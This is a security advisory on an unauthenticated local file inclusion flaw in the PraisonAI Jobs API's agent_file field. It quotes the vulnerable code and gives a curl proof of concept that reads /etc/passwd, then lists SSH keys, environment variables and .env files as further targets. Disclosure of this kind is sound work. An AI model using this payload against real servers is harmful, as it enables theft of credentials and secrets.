PraisonAI: Unauthenticated Local File Inclusion via agent_file path in PraisonAI Jobs API
Summary
An unauthenticated attacker can read arbitrary files on the server by supplying an absolute filesystem path in theagent_file field of the Jobs API. The field has no path validation, no allowlist, and no authentication is required to submit jobs.Details
Theagent_file field in JobSubmitRequest accepts any filesystem path with no validation:# src/praisonai/praisonai/jobs/models.py:29
agent_file: Optional[str] = Field(None, description="Path to agents.yaml file")
NO path validator, NO allowlist
The executor reads the file directly:
# src/praisonai/praisonai/jobs/executor.py:221
agent_file = job.agent_file or "agents.yaml"
passed directly to yaml.safe_load(open(agent_file))
Proof of Concept
curl -X POST http://:8005/api/v1/runs \
-H "Content-Type: application/json" \
-d '{"prompt": "run", "agent_file": "/etc/passwd"}'Server responds with contents of /etc/passwd.
Other exploitable paths:
/proc/1/environ— environment variables, API keys/home//.ssh/id_rsa— SSH private keys/app/.env— application secrets